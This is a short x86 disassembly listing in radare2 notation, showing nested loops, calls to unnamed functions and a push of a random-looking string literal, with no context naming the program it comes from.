push eax
lea ecx, [ebp - 0xed0]
call fcn.00401993
pop ecx
pop ecx
mov ecx, eax
call fcn.00450c0f
push eax
call fcn.004b40b7
pop ecx
push ebx
push 1
lea ecx, [ebp - 0xed0]
call fcn.0045110b
inc esi
cmp esi, 0x932
jl 0x46f49f
inc edi
cmp edi, 0x120d
jl 0x46f49d
xor edi, edi
inc edi
push 2
pop esi
push edi
lea ecx, [ebp - 0x424]
call fcn.00450d2f
mov dword [ebp - 4], 0x1a
cmp dword [ebp - 0x38], 0x2873
jge 0x46f510
push str.ctib_cvbdmx_pwwv_kqejmom_oywpi_gggmtgx_sniokhdw_flhdnwg
call fcn.004b40b7
pop ecx
or dword [ebp - 4], 0xffffffff
jmp 0x46f53c
mov dword [ebp - 0x2e8], ebx
mov dword [ebp - 0x2e4], ebx
mov dword [ebp - 0x2e0], ebx
mov dword [ebp - 0x2dc], ebx
mov dword [ebp - 0x38], 0x3fa9
mov dword [ebp - 0x18], ebx
jmp 0x46f573
cmp dword [ebp - 0x18], edi
jl 0x46f560